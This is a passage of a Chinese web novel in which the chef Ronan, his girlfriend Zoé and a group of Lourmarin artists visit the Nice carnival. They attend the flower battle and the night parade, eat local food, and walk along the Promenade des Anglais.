昆西既兴奋又着急的说: “我留下和你们一起推进初期的工作。” 今年旅游局给阿维尼翁才批了1000万法郎,那可是一个城镇,卢尔马兰一个小村子给了600万.可想而知上面对这里的重视程度了。 昆西哪里敢走啊! 欢快的旅游气氛已经在卢尔马兰艺术家中弥漫好几天了。 早上罗南去接佐伊时,还一同接走了住在她家的歌迪亚、薇薇安和宝莱特,姐妹团从昨天就开始过集体生活,夜里兴奋到1点还没睡着今早5点又爬起来梳妆打扮,一个个全是‘大全妆’! 罗南这次出行开的是那辆DS19,正好能坐下这几个人。 不过人能装下,行李却装不下了。 巴蒂找皮埃尔借了他的皮卡车,这原本是安排给佐伊这几个女孩放行李的,但东西太多装不下,又叫来了两辆车才勉强拉走。 这情况不止在佐伊家门口发生,这次出行的每个人都是大包小包的,像罗南这样只带了一个背包的人根本没有.好几个司机临时找村民去换了更大空间的车子。 不过占地方的不是个人生活用品,而是他们的创作工具,有的人快把工作室搬走了! “不是,歌迪亚.你也带了画板和画笔?你会画画吗?”开出一阵子后,罗南听到车上几个人的对话,透过后视镜打量歌迪亚。 歌迪亚不是玩音乐的吗? “你瞧不起谁呢?不会画,我还不能学吗?”歌迪亚向佐伊告状,“你们家罗南瞧不起我!” 佐伊拍着罗南放在档把上的手背说: “歌迪亚说我们住的地方在海边,大家都盼望着能在洒满阳光、一推开窗子就是大海的房间里创作些什么,那一定会灵感爆棚。” 罗南问佐伊: “那你为什么不带工具?” 昨天粉红酒协会聚会前,罗南先陪佐伊去米洛纳市场采购了一番,佐伊这次带了许多吃的,和工作相关的只带了几块小木头,说是闲下来练练罗南教的雕刻,其他什么都没拿。 佐伊开心的晃了一下脑袋: “因为他们是自己去,面对美景只能工作,而我和男朋友一起去,面对阳光和大海还工作就有点说不过去了。” 后排一连出现好几道呕吐的声音。 “快把车窗打开,我想吐。” “罗南,我们不怕冷,你把顶棚打开,让风吹走这些情话,我一点都不想听。” “拜你们所赐,我的爱情灵感够丰富了,求求你们给我提供点别的素材吧,反目成仇怎么样?” 后面的几张利嘴很快消停了。 昨天没睡好,去尼斯的路途又长,没多一会便睡了过去。 电灯泡没了,罗南和佐伊可以更融洽的相处,不用再在意那些人的感受。 “你也睡一会吧,到了叫你们。”罗南贴心的说。 佐伊兴奋的摇头: “我一点都不困,一想到要去尼斯我就兴奋了。” 佐伊在尼斯上了四年大学,她比其他人又多了一层兴奋的理由。 罗南把手肘架到车窗上,笑着说: “那你给我讲讲尼斯吧,讲讲你眼中的尼斯。” 尼斯算是罗南比较熟悉的南法城市,他前一世来过许多次。 这座法国第五大城市拥有非常强大的地理优势,面朝地中海,背靠阿尔卑斯山脉,形成了一片天然的海湾,这里的海岸线曲折复杂,城镇沿海岸线呈带状分布,形成了独特的‘蓝色海岸’景观。 没错,这道长达8公里的蔚蓝海岸线,就是一到旅行季就让好几条重要公路堵的水泄不通的‘罪魁祸首’! 尼斯作为法国第二大旅游城市,每年有超过400万游客慕名而来,4-8月,来自全世界的游客一股脑涌入这座历史悠久的城市,探寻其独特的法式和意式风情。 尼斯同样也是许多著名电影,例如007系列钟爱的取景地,如画的风景和全年宜人的气候给这里增加了一层迷人的滤镜。 不过罗南也想听听佐伊眼中的尼斯是什么样的,在这里生活了四年,应该会有些不一样的体会吧? 这个话题让佐伊更加兴奋了: “说实话,如果没有在尼斯的这四年生活经历,我应该不会这么喜欢艺术,尼斯是法国拥有博物馆第二多的城市,仅次于巴黎,尼斯还是法国文化和音乐活动的中心,尼斯爵士音乐节是世界上历史最悠久、最负盛名的爵士音乐节之一,而且你知道吗,这里每年都会举办许多文化活动,赛花节、赛船节、帽子节、五月节、国王饼节.” 佐伊迷醉的说: “那四年的生活太丰富了。” 罗南伸出手摸了摸她的脸: “我好好赚钱,之后我们在尼斯买个房子,想来的时候随时过来住。” 罗南的话打破了佐伊的陶醉状态,她一边摇头一边说: “你知道尼斯的房子有多贵吗?这里距离被称为世界富豪聚集中心的摩纳哥只有半个小时车程,希米耶区海边的游艇比比皆是,海边度假别墅至少要600万法郎起,即使是小公寓也要50多万,这还是几年前的价格现在不知道涨到多恐惧了。” 罗南摸了摸鼻子: “也不是很多——” 牛皮还没吹完,佐伊突然对着车窗一指: “我们到了!” 尼斯城区分为三个主要部分,第一部分是老城和港口,很有意大利特色,餐厅、夜总会和美术馆映衬着古朴的老城墙。 第二部分是19世纪所建造的城中区,这一段是游客最喜欢来的区域,有著名的英国人大道。 第三个部分则是罗马人和维多利亚女王最爱的希米耶区也就是佐伊说的豪华游艇比比皆是的地区。 而这次歌迪亚给大家找的地方就是这个希米耶区的几所临海民宿。 歌迪亚被佐伊的声音喊醒,迷迷糊糊的擦了擦口水,她快速的辨认了一下方位,指引着罗南向海边开: “快走快走,我已经迫不及待拥抱阳光和大海了!” 这次来的艺术家比较多,歌迪亚按照男、女安排好了房间。 罗南和巴蒂、马里尼住在同一栋民宿里。 上楼时,马里尼不停抱怨这里的楼梯太窄了,总是差一点点弄脏他的名贵西装。 巴蒂开玩笑的说: “都来尼斯了,还穿什么西装啊,穿花衬衣!” 巴蒂从好几天前就开始号召男士们穿花衬衣,也不知道中了什么邪,可能觉得一个人穿出去太过扎眼了? 马里尼指着前面的罗南说: “只要罗南穿,我就穿。” 先一步打开房门的罗南‘哇’了一声: “看到这个风景,我真的可以接受穿花衬衣了。” 说着,他推开了客厅的双开门,走到了阳台上。 马里尼和巴蒂进门见到的,正是一副‘打开门便能拥抱大海’的美丽景象。 马里尼也不禁小小的‘哇’了一声: “我开始期待接下来的行程了。” 第382章 朋友们,喝粉红酒的季节开始啦! 3月中旬,尼斯的日间温度可以达到17、18度,非常舒服。 虽然还没到露大腿的程度,但当罗南收拾好东西、又和两位新室友闲聊了一会,下楼和大家集合吃午饭时,发现女士们全部换了衣服,一个个穿的争奇斗艳的,非常符合尼斯这座城市的气质。 和她们比起来,男士们身上的黑白灰显得不够‘时尚’。 “我就说得穿花衬衣。”巴蒂得意洋洋的展示了一圈衣服,用蛊惑的语气说,“朋友们,现在去买吧,还来得及!” ‘领队’歌迪亚拒绝了巴蒂的提议,带着大家步行前往吃饭的地方: “今天不行,今天的安排满满当当,想买明天下午可以,不过后天就走了,买了也穿不上.要我说,你们就忍着点吧。” 罗南把和米切兰杂志社对接的工作交给了歌迪亚,这次出行的队伍太庞大,他没有歌迪亚心细,把名单搞定后,罗南就没再管这摊事,对这两天的安排只知道个大概,并不了解细节。 反正路上没事干,他让歌迪亚给大家介绍下这两天的行程。 “下午我们去马塞纳广场看‘鲜花大战’,晚上去看夜间‘花车大游行’,明天上午是米切兰杂志社安排的采访工作,提纲我提前给你们了,今晚都再复习一下。”歌迪亚停在某个路口看了一眼左手边,摇摇头,“不是这条街,还在前面。” 歌迪亚现在像是大家的‘妈妈’一样,艺术家们有什么问题都会问她,无论是否跟艺术、工作有关: “歌迪亚,你知道今年的狂欢节主题是什么吗?” 尼斯狂欢节每年的主题都不同,例如去年的主题是‘电影’,狂欢节的全部环节围绕庆祝电影发明90周年而进行,其他的主题还有天籁之音、广告之王、月亮与星辰、童话、马戏团、疯狂年代、穿靴子的猫等。 据传言,每一年的主题均由20人组成的‘狂欢节秘密委员会’尼斯在市政厅地窖中投票选定,过程堪比教皇选举。 大家长歌迪亚还真去了解了今年的主题: “今年的主题是‘国王的狂欢’,致敬法国历史上的君主与传奇。” “好酷的主题,晚上的花车游行一定非常有意思!”薇薇安小跳了一下,已经迫不及待了。 歌迪亚停在某个路口,看了一眼里面的情况,之后对着大家兴奋的招了几下手: “到了,就是这条街!” 街道两侧的建筑有明显的意大利热那亚风情,石板路的尽头直通大海,这是无数人梦想中‘假期’该有的模样。 “哇哇哇,好漂亮!” 歌迪亚得意的甩了两下脑袋。 那是当然,这两天肯定给你们安排得‘明明白白’的! 罗南走在这路上快羡慕哭了,两侧的餐厅基本全都满员连户外区域都坐满了游客。 果然是大城市啊,旅行季还没开始生意就这么好。 佐伊敏锐的察觉到了罗南的情绪,挎上了他的胳膊: “我们的餐厅以后生意会比这更好。” 罗南一边看两侧的餐厅,一边笑着说: “等这次回去,差不多可以把后院打开了。” 温度慢慢回升,户外区域可以利用起来了。 佐伊问罗南: “你门口那片区域可以摆放桌椅吗?” 罗南点头道: “可以,布兰科跟我说过,从门口到那棵古树下的区域都可以让我用。” 罗南餐厅的对面是商业街上的地标雕像,另一侧有一棵移植来的古树,他和歌迪亚、托马斯经常在树下乘凉聊天。 佐伊兴奋的说: “那也利用起来,这样可以接待的顾客又多了一些,生意就更好了,回去我去看看可以弄成什么样子。” 想到什么,她突然可爱的撇了几下嘴: “哎,旅行季开始后你的餐厅一定会每天排队,那几个座位也不够用啊。” 罗南宠溺的在她头上摸了一下: “你居然比我还有自信呢?” 罗南都不敢说‘每天排队’这种豪言壮语! 佐伊挑着眉毛说: “以前我经常想念尼斯的美食,但把你的餐厅当食堂后,我已忘记尼斯美食了。” 话音刚落,她突然瞪大眼睛,快步走向一个街边的小摊位: “罗南,快过来,这是我在尼斯最爱吃的鹰嘴豆薄饼,我想死它了!” 罗南看着这一锅很像是玉米薄饼、散发着浓郁豆类香气的小吃,忍不住笑出声来。 不是说忘了吗? 还没走到歌迪亚提前订好的餐厅,佐伊的手里已拿了好几样小吃。 除了鹰嘴豆薄饼还有一种名叫甘斯的油炸甜品和尼斯洋葱塔。 “我记得你不爱吃炸物啊。”罗南看佐伊手里的甘斯问。 佐伊捏了一颗放进嘴里: “这个小吃还叫嘉年华甜甜圈,狂欢节期间必须吃的,我每年都买,快尝尝,它没有看起来那么甜。” 罗南听话的用嘴接下佐伊手里的‘嘉年华甜甜圈’,发现果然没有那么甜,味道还可以。 “还不错吧?”佐伊笑着问,随后又把尼斯洋葱塔喂给罗南。 罗南咬了一口,有些费解的问: “这个居然也是你爱吃的?” 虽然佐伊是地地道道的普罗旺斯人,但她对洋葱和大蒜的味道都不太‘感冒’,她喜欢吃口感鲜甜的东西。 佐伊不好意思的笑了两声: “这个我确实不爱吃,但它是尼斯的特色,别的城市吃不到,既然看到就买一点点。” 说完,她的眼睛像雷达一样,继续搜寻街边的美食了。 歌迪亚回头瞥了一眼佐伊: “你怎么买了这么多,我今天约的可是尼斯最好的本地餐厅!你还有肚子吃海鲜吗?” 艺术家们兴奋的把歌迪亚团团围住: “真的吗真的吗?尼斯最好的餐厅?” “住的这么好,吃的也这么好吗?” “罗南,以后这种工作可以多安排一些吗?” 罗南无奈的摇了摇头。 未来要为会长狠狠的卖命了! 餐厅是歌迪亚提前订好的,但点菜她没管,让各桌自行安排。 狂欢节期间,各个餐厅的生意都非常火热,能约到位置就不错了,没有办法坐到一张大桌上了。 罗南和佐伊是此行的唯一情侣,大家担心和他们一桌影响胃口,于是把他们两排挤了。 罗南觉得这挺好的。 如此美丽的风景,就该两个人吃,离那些碍眼的家伙远远的。 美景在前,海风怡人,美人又在旁这让罗南想说两句浪漫的情话,没成想一抬眼看到刚刚还说把尼斯美食忘了的佐伊,已经在看着菜单咽口水了。 “你饿了?”罗南关心的问。 佐伊早上只吃了一点点,刚买了小吃就到餐厅了,她也没吃上几口,之后被其他艺术家拿走瓜分了。 “还可以吧。”佐伊看向罗南,“你饿吗?” 罗南实事求是的说: “不太饿,我早上吃了一个很大的面包。” 佐伊有些遗憾的点了几下头: “那我少点一点。” 罗南和佐伊一起吃饭时,都是佐伊负责点菜,反正罗南什么都吃: “好的。” 佐伊抬手把服务员叫来,指着菜单对他说: “这个、这个、这个、这个、这个.还有这个,再帮我们拿一瓶斯特斯加的粉红酒,要冰镇的,谢谢。” 罗南的瞳孔猛得变大了一圈。 宝贝,你确定我们吃的完这么多吗? 尼斯地理位置靠近意大利,且曾经属于意大利,虽然同样沿海,但这里的美食风格和马赛有着明显的不同,在地中海传统风味的基础上还有与阿尔卑斯风格的结合。 经典的尼斯沙拉中除了会加入法国人喜爱的橄榄油和香料,还会用醋调味,而传统的普罗旺斯美食中很少会出现醋这种东西。 尼斯同样盛产海鲜,但通常会加入香草、蒜末、橄榄油和白葡萄酒等食材稍微炖煮一下再吃,而普罗旺斯本地吃饭更加重视‘原汁原味’。 佐伊点了许多海鲜,但她的胃没有那么大的容量,罗南只能化身为无情的干海鲜机器。 一边吃,罗南一边想: 到了尼斯后,佐伊的挑食症明显有了变好的迹象。 刚刚说赚钱在这里买房子可能是开玩笑,但现在他真的有一点动心了。 像伊内斯和雅克先生那样的有钱人,都会在靠海的地区买一所度假用的房子,卢卡斯也在马赛安了一个家。 “还吃的习惯吗?”佐伊问罗南。 “当然,味道很棒。”罗南笑着说。 佐伊看着桌子上两个人的粉红酒说: “无论是尼斯的做法还是马赛的做法,都和粉红酒很搭,要不是下午还有安排,应该多喝一点的。” 粉红酒通常被当作夏季酒,和海鲜和烧烤等食物搭配着喝,一到夏天,蔚蓝海岸沿线的餐厅和酒馆里就会出现许多喝粉红酒的人。 罗南拿起淡粉色的杯子喝了一口,语气复杂的说: “到喝粉红酒的季节了。” 突然,身后传来歌迪亚的笑声: “你们喝的太慢了,怎么还有这么多酒没喝完?来来来,干一杯,喝完我们去观摩鲜花大作战,那些‘单身狗’已经迫不及待的要去看花车女郎了!” 第383章 一点点陷入疯狂!一点点投入狂欢 下午的鲜花大作战和晚上的花车巡游是官方,也就是米切兰杂志社邀请罗南一行人来参加的。 普通游客只能在街边拥挤的欣赏这场盛宴,下午还要顶着烈日阳光,而卢尔马兰的艺术家们可以坐在凉爽的室内吃着美味的甜品和水果、喝着美酒欣赏。 观摩室设立在尼斯著名的马塞纳广场沿街的一所18世纪便存在的酒店内,这里是看鲜花大作战和晚上花车游行视野最好的地方。 嘉宾们从下午到晚上都将在这里度过,中途还会参与一次由主办方举办的私密晚宴。 虽然卢尔马兰的艺术家们心情无比激动,但进入宴会厅后没有一个人敢大声喧哗.只想找个安静的角落偷偷坐下。 他们在宴会厅里看到了许多法国本土和国际上的名人! 我们何德何能啊,能和这些大人物一起观赏尼斯狂欢节? “那是不是格蕾丝·凯利的女儿卡罗琳公主?我听说摩纳哥王室每年都会出席尼斯狂欢节,原来是真的。” “等等,那个是不是蒂娜·特纳?这位摇滚天后2月在欧洲办巡演,她也来参加狂欢节啦?” 在艺术家群体中有惊呼的,也有叹气的。 歌迪亚的眼神在嘉宾中来回寻找: “该死的,这些艺术家都太出名了,我买不起他们的作品!” 罗南说这次邀请来的嘉宾中还有不少艺术家,歌迪亚以为水平都是卢尔马兰这样的,还想着这次努努力、结交一下,可以赚点外快,结果进来这么一看,完全高攀不上。 同样在叹气的还有巴蒂: “这里的女士们太高贵了,我很难去认识新朋友啊刚刚勇敢了一次,发现对方在尼斯开了8个加油站,而我连汽车都没有买呢。” 随即他嫌弃的低头看了一眼自己的花衬衣: “尤其是打扮成这样.” 薇薇安撑着下巴,遗憾的说: “1985年阿兰·德龙也来参加尼斯狂欢节了,还参与了花车设计大赛,今年的国王主题那么适合他.他怎么没有再来啊,我太喜欢他了。” 佐伊比局促的大家稍好一点,但也格外注意起自己的言行: “做梦也想像不到,我能有机会参与到这种活动中来。” 这完全不是他们应该出现的地方,至少不是现在的他们! 罗南是怎么做到把大家带来的呢? 突然,眼尖的宝莱特惊呼出口: “你们快看,那个在和卡罗琳公主打招呼的人是不是罗南?他旁边那个白头发的女人是谁?我刚刚看到她和蒂娜·特纳像朋友一样‘勾肩搭臂’的聊天。” 罗南何尝不知道在这种场合,应该找个安静的角落默默藏起来,但架不住伊内斯热情的带他认识一个个她口中的‘好朋友’啊。 从艺术家同行到本土企业家,从法国明星到国际巨星,从尼斯的官员到摩纳哥王室罗南的脸都笑疼了。 终于带罗南认识完‘朋友’们,会长伊内斯对罗南说: “好了,去看花车吧,今年的女郎们是在法国、西班牙和意大利三地选拔出来的。” 每一年鲜花大作战的女郎都要经历非常严格的选拔,年纪只能在18-28岁范围,身高在168厘米以上,全身上下不可以有瑕疵,更不可以有纹身,最主要的是必须拥有出众的外表。 综合条件过关的女孩还要经历一轮复试,内容有穿5cm高跟鞋在模拟花车上站立3小时、被抛来的鲜花砸脸时保持微笑、能完整说出3个尼斯狂欢节历史主题等。 复试结束还没有结束. 通过复试的女郎,要在前一年的11月于尼斯市政厅公开走秀,由市长、往届花车女郎及设计师投票选出。 你以为这样就结束了? 不,这还远远没有结束! 从前一年的11月到转年2月份是她们的培训时间,练习面部表情和体能等。 但这一切的付出都是值得的,历年花车女郎中有23%进入演艺圈,这是女孩子们成为明星的一条捷径。 街道上已经走来了伴舞群,耳畔的音乐越来越轻快,显然是女郎们要巡游到马塞纳广场了。 伊内斯笑着对罗南抬了一下下巴。 快去吧,这一部分是你们男人最爱看的。 罗南没有着急去看女郎,而是压低声音问会长: “福克斯家族的人在场吗?需要我带艺术家们做些什么吗?” 罗南非常有自知之明,他和卢尔马兰的艺术家们之所以能在这里出现,是带着任务的。 说难听点,他们是伊内斯请来的演员,专门来尼斯给福克斯家族演戏的。 罗南的主动让伊内斯更加喜欢这个孩子了,他轻轻拍了拍罗南的后背,附在他耳边说: “放心,那些老家伙精明的很,你们一进来就注意到了,什么都不用干,开开心心的玩就可以。” 说完,伊内斯回到了摇滚女性蒂娜·特纳的旁边,看往楼下的广场。 伊内斯都这样说了,罗南放心的离开,去往卢尔马兰艺术家们所在的位置看表演。 不过在路上,一位老朋友拦住了他。 略伦特热情的和罗南打招呼: “好久不见啊罗南,没想到你也来了?” 今天来的精明人还有许许多多.就比如眼前的这位。 罗南现在是普罗旺斯新晋艺术家代表,在戈尔德掀起了一股甜品风暴,他能出现在今天这个场合略伦特不稀奇,稀奇的是伊内斯带着他引荐了这么多名人。 这个做法就很耐人寻味了。 略伦特认为罗南已经有资格做自己的‘朋友’了。 “您也来了?”罗南非常意外。 这位先生真是哪里热闹出现在哪里啊。 略伦特指了一个方向,微笑着说: “我妻子每年都要来参加尼斯狂欢节,你知道的,作为一名合格的丈夫,这是我义不容辞的事情。” 罗南顺着他的手指,看到靠近围栏的位置有一位坐在轮椅上的老妇人。 果然是合格的丈夫罗南腹诽了一句,不过嘴上说的却是: “鲜花大作战已经开始,快去陪您的妻子欣赏吧,我也要去找我的女朋友了。” 略伦特又拦了罗南一下,笑着说: “本来我想过几天给你打电话,既然今天碰到,先跟你说了吧,普罗旺斯的美食活动即将开始,你要不要参加?” 罗南心中一喜。 事实上,他想要结识略伦特就是看重了他手里的美食资源和那个沃克吕兹省美食联盟。 而且雅克先生的米其林餐厅就是参加本地美食活动把名声打出去的。 去年罗南多次问过相关的问题,略伦特说普罗旺斯有许多美食活动,但全部集中在4-8月。 现在已经3月中旬,确实要开始了。 不过罗南没有马上答应下来: “是什么类型的活动?” 贸然参加肯定不行,罗南要根据自己的特长或餐厅的长项做选择。 略伦特平摊双手,笑着说: “普罗旺斯每年要举办大大小小十几个美食活动,类型太多了,我认为咱们应该找个机会坐下来好好聊聊这件事,你觉得怎么样?” 罗南欣然同意: “没问题,等我从尼斯回去,去戈尔德找您。” 略伦特热情的说: “在卢尔马兰见吧,我之前答应去你的餐厅尝尝,去之前我会给你打电话。” 罗南意外的挑了下眉毛。 之前他苦苦哀求,略伦特嘴里答应的特别好,实际上早就把他甩到脑后。 这次居然主动要来尝尝了? 和略伦特的对话非常短暂,等罗南找到佐伊,窗下已经有女郎出现,正在对着他们这个方向飞吻。 巴蒂等几个男艺术家随着音乐扭动屁股,和街道上的女郎们激情互动。 女艺术家们没有那么兴奋,有熟悉活动的人正在给一些不了解鲜花大作战的艺术家科普这是一个什么样的活动: “1876年,尼斯贵族为了展示城市繁荣,用鲜花装饰马车巡游,后来演变成全民参与的鲜花大作战,本世纪50-70年代,许多好莱坞明星参与到了其中,让活动更加有知名度,规模也越来越大。 尼斯是一座花城,在狂欢节期间,数十辆长达10-15米的花车每天下午在尼斯城区巡游3个小时,每辆花车都由数万朵鲜花手工装饰而成,而且全部是本地鲜花,例如玫瑰、康乃馨、雏菊、剑兰、薰衣草和金雀花等。 花车上的鲜花女郎同样穿着由鲜花制成的华丽礼服,向观众抛洒鲜花,观众可以接住或回抛,形成一场互动战,鲜花大作战因此得名,去年车上的女郎和车下的演员一共向观众投掷了10万支鲜花不知道今年要投多少呢。” 虽然罗南已经非常普罗旺斯化,但面对热闹场景时,他骨子里巴黎人的疏离感就会被激发出来。 看着街道上的热闹表演,起初他并没有加入其中,嘴边始终挂着矜持的微笑。 可当现场的乐队突然演奏起狂欢变奏版的《马赛曲》,他的身体开始背叛他了。 先是脚尖不自觉的打起了节拍,随后音乐鼓点像地中海的浪一样拍打着他的身体出现了轻微的摇晃。 终于,罗南发现了这场背叛,想要赶紧停下,但花车上的女郎正朝着他们抛来一束沾着露水的鲜花,让四周的嘉宾们像是疯了一样的争抢起来。 罗南不知道花最终被谁抢到了,但他的余光看到身边一个个鲜艳的裙子随着音乐节奏快速飞扬起来。 那里有歌迪亚、有伊内斯、有摇滚巨星还有摩纳哥王室.甚至连坐在轮椅上的老妇人都开始甩脖子。 但最终让罗南沉沦进去的,是那个拉着他的手转圈的女孩。 “这太疯狂了!”罗南对着佐伊大喊。 佐伊的笑声像甜蜜的子弹一样击中罗南的内心: “这还不够疯狂,真正的疯狂在晚上,那才是真正的狂欢!” 第384章 快看,我们的国王来了! 晚间狂欢活动前的晚宴是自助餐形式,可能由于下午的鲜花大作战太过热闹,嘉宾们对海鲜大餐已没有了兴趣,三五成群的聚集在一起喝着酒,聊着那些可以让普罗旺斯大地震的生意或者八卦。 卢尔马兰这群人自然没有什么正事可聊,心已经飞到马上要开始的尼斯狂欢节最最重要的环节——花车大游行。 “晚上的花车和下午的花车有什么区别?”今天来参加活动的有一位英国年轻艺术家。 戈尔德系列活动让她对普罗旺斯产生了兴趣,选择留了下来。 对于她来说,尼斯的一切都充满了新奇和未知,一天可以问出几十个问题。 其他人回答累了,纷纷隐身,只有心地善良的佐伊还耐心的回答她的问题: “下午的花车是用几千朵鲜花制成的,而晚上的花车虽然也叫花车,但和花没有任何关系,是艺术家用纸、亚麻布和防水颜料制成的几米高巨大人偶,以幽默讽刺的方式呈现政治人物、文化名人或社会现象这是尼斯狂欢节不同于其他两大狂欢节最根本的原因。” “居然是讽刺的方式?”那英国人突然反应了过来,“今年狂欢节的主题是‘国王的狂欢’,那么接下来的环节是要讽刺那些国王?” “难道不值得讽刺吗?”歌迪亚笑着耸肩,“这正是今年备受瞩目的原因。” 晚宴前,主办方的领导进行了一个简短的发言,说今年尼斯狂欢节的游客数量又创新高,全世界各地的游客都想看看法国人会如何表达这个主题。 众所周知,法国人最爱他们的国王和政治了! 薇薇安兴奋的尖叫了一声: “快看,我们的小丑国王来了!” 夜幕中,一个巨大的人偶在机械设备的推动下进入了马塞纳广场。 迎接他的是天空中数纷飞的气球和人群爆发出的尖叫——法兰西国王终于等来了被子民们爱戴的这一刻! 与下午的花车大作战不同,那个时候观众再兴奋也不会挤入道路的中央,而此时大家纷纷冲上马路,巨大的人偶在他们的头顶移动。 这才是真正的狂欢节! 那位英国艺术家已经被眼前的景象镇住,尤其当人偶移动到她面前时。 宴会厅在酒店的三层,但人偶的最高处比他们更高,视觉上有一种巨型怪物擦着你经过的恐怖感巨物恐惧症在这一刻觉醒! 当然了,恐怖感会因诙谐的设计风格和游行队伍中载歌载舞的人群而逐渐稀释,不过总体还是非常震撼的。 那位德国艺术家继续问佐伊: “哇哦,这个好逼真!你刚刚说这些人偶是由艺术家制作的?要多少久才能做完这么大的人偶啊?” “没有你想的那么复杂。”佐伊回忆着说,“简单的人偶3周多可以做完,造型繁复的4-5周吧。” “那么快?”这次出声的是罗南。 这个时间也比他预估的要短许多,按照选女郎的速度,他以为做一个人偶至少要2个月呢。 佐伊笃定的说: “自1954年起,历年游行花车和人偶都是由‘尼斯狂欢节工坊’这个手工组织制作,那是一个非常成熟的手工作坊,只做巨型花车和人偶,他们每年都会去我的大学招新成员,进入工坊后大家每天一起工作,早就形成了默契,3周是‘新人’的时间,如果让工坊里的老员工们配合,说不定半个月就能配合着做完一个。” “除了接尼斯狂欢节的工作,这个工坊还能接到其他的工作吗?”罗南被‘尼斯狂欢节工坊’这个名字所迷惑,认为他们只接狂欢节的活动。 “不是。”佐伊表情夸张的说,“成立之初情况可能是这样,但这么有特色的工坊很抢手,尤其是需要很长时间的高端定制或者文化活动,我有同学在这个工坊里工作,她今年还去美国了。” “去美国了?”英国艺术家惊讶的问。 佐伊也不是很清楚同学去美国干什么,只知道个大概: “好像是做什么主题公园。” “厉害.”‘尼斯狂欢节工坊’让罗南联想到了他的‘卢尔马兰工手艺合作社’。 ‘尼斯狂欢节工坊’就是他的目标,找到一个特色并做到极致,之后走出卢尔马兰、走出普罗旺斯甚至是走出欧洲。 以后还是要多多出来看看世界,眼界打开,思路也会随之开阔。 罗南想和巴蒂聊两句,但巴蒂此刻正迷醉的看着街道上新出现的人偶。 罗南无奈的摇了摇头。 太吓人了,对女人偶也这么痴迷吗? 下午鲜花大作战,楼上楼下气氛差不多,一样的热烈,但到了晚上,下面的气氛比楼上热闹多了,一会飞气球、一会飘彩带,大人和孩子都玩疯了。 见今天活动已到尾声,且已经有一些人忍不住去楼下参加真正的狂欢活动,罗南也和佐伊等熟人离开了酒店、来到街道上,近距离接触尼斯狂欢节最热闹的时刻。 艺术家们的情绪起伏比正常人大,开心的时候更开心,失落的时候更失落,什么都更加极端一些。 而此刻,就是他们极端兴奋和开心的时候。 “明天下午我不创作了!”巴蒂举起双手,一副进入夜店的状态,“我要去认识新姑娘!” 明天下午有一整个下午自由活动的时间,艺术家们带来的画板、画笔等工具,就是计划在那个时候用的。 但是参加完今天的狂欢节,他们改主意了。 阳光、沙滩和大海就在眼前谁还工作啊! “我要去尼斯博物馆,去很多很多个!”马里尼也放飞了自我,随着人群和音乐扭动起了身子,“再给加布里埃尔打个电话,约他明年一起参加这么疯狂的活动。” 宝莱特也暂时放下了她的钢笔,期待的说: “我要租一辆自行车,沿着蔚蓝海岸骑好久好久,找到景色最漂亮的地方,对着大海喊:我的故事一定会有人喜欢的!” 歌迪亚在这个时候彰显出了摇滚女孩的底色,她甩动起头发,疯狂的说: “老娘我要在尼斯邂逅一个男人!过比这些国王更糜烂和奢华的生活!” 佐伊和罗南异口同声的问对方: “我们去做什么?” 他们明天下午原本就没打算工作啊。 气氛都烘托成这样了.也要去做些疯狂的事情吗? 第二天上午有米切兰杂志社安排的采访工作。 这应该是整趟尼斯之行最像工作的工作了,其他官方行程与旅游没有任何差异。 为了给官方和米切兰杂志社留个好印象,卢尔马兰的艺术家们在访谈阶段表现的非常积极,人家问一个问题他们能回答出三个问题,还有人整活,在现场画出了昨天狂欢节上一个个令人印象深刻的场景。 午饭依然由米切兰杂志社提供,吃完这顿饭,大家最期待的下午自由活动便开始了。 “你们要去哪里?”歌迪亚问佐伊和罗南。 虽然马上要自由活动,但是大家的经纪人要了解每个人的行程安排,这就叫专业。 坦白的讲,小情侣生活幸福,经济条件良好,事业也很顺利,心里没有什么事情被狂欢节激发出来是突然想要去干的.他们就想平平静静的在尼斯玩半天。 “带罗南去海边看看风景。”佐伊指了一个方向。 “就这些?”歌迪亚失望的问。 “这就是我们最想做的事情。”罗南拉起佐伊的手,嘱咐周围的艺术家们,“都注意安全啊,明天一早要回卢尔马兰呢。” “知道了。”大家在餐厅分别。 尼斯城区沿着海岸线呈带状分布,无论身处哪里,都可以很容易抵达海边,佐伊拉着罗南走向大海的方向,笑着说: “你现在和歌迪亚一样操心了,今天一上午你都说了多少次‘注意安全、明天一早要回卢尔马兰’了?其实大家玩的那么开心,完全可以再多待一天,或者明天晚一点回去。” 罗南语气含糊的说: “这个季节气温太低,不能下海,多留一天意义不大,等天气暖和起来了、可以游泳了,再来一次呗。” 佐伊撇着嘴说: “但这次有人报销路费和住宿费啊,下次哪还有这么好的事?” 在刚刚采访的时候,罗南看到了切尔诺。 切尔诺今天不是来当导游的,而是作为编辑来报道尼斯狂欢节的相关内容。 两个人见面的时候,切尔诺夸卢尔马兰的艺术家配合度高,态度积极,问罗南如果之后有其他合适的活动是否可以邀请他们。 切尔诺是《海岸》杂志负责黄金海岸这一片区域的编辑,像尼斯这么重要的旅游城市,4月份之后活动一定非常多,还是有机会再来的。 把这个理由解释给佐伊后,她兴奋的摇了两下罗南的胳膊: “真的吗,那太棒了!” 佐伊真的很喜欢尼斯啊罗南在心里嘀咕了一句。 他们一起去过了许多普罗旺斯的城市,这是佐伊第一次表现出来‘依依不舍’和‘期待’。 尼斯这个城市对罗南也有特殊的意义,这里的粉红酒气氛是普罗旺斯最好的。 普罗旺斯人一想到粉红酒,脑袋里就会出现阳光、沙滩和美女的场景。 “走吧,快带我去看看尼斯的沙滩和大海。”罗南用力拉紧身边的佐伊。 第385章 你们疯狂完了?该我了 尼斯有一个奇怪的现象。 最著名的海滨步行街叫——英国人大道。 这非常不符合英法两国的关系。 “因为这条路修建的时候尼斯还不属于法国。”佐伊和罗南此刻正漫步在这条著名的海滨大道上。 狂欢节期间,英国人大道的人流量非常大,是每一位游客来尼斯必打卡的地标。 “19世纪的事情?”罗南问。 尼斯是在1860年并入法国的。 佐伊看着蔚蓝色的大海说: “可能还要更早一些,18世纪下半叶开始,尼斯温暖的气候吸引来了大量英国贵族来这里过冬疗愈,主要是肺结核患者。 据说有一年冬天特别冷,大量来自北部的乞丐涌入尼斯,英国的富商就雇用他们修建了这条沿海的步行小道,为方便英国人散步,最初只有两米宽,后来尼斯市政府扩建了这条道路,并正式命名为‘英国人大道’。” 罗南笑着说: “小道变大道了。” 佐伊也跟着笑起来: “我们今天没时间去去尼斯历史博物馆了,事实上英国人不止修建了这条沿海的景观路,还兴建了尼斯第一批豪华酒店,海边浴场文化也是他们带来的.是英国人推动着尼斯从渔村向度假胜地的转型。” 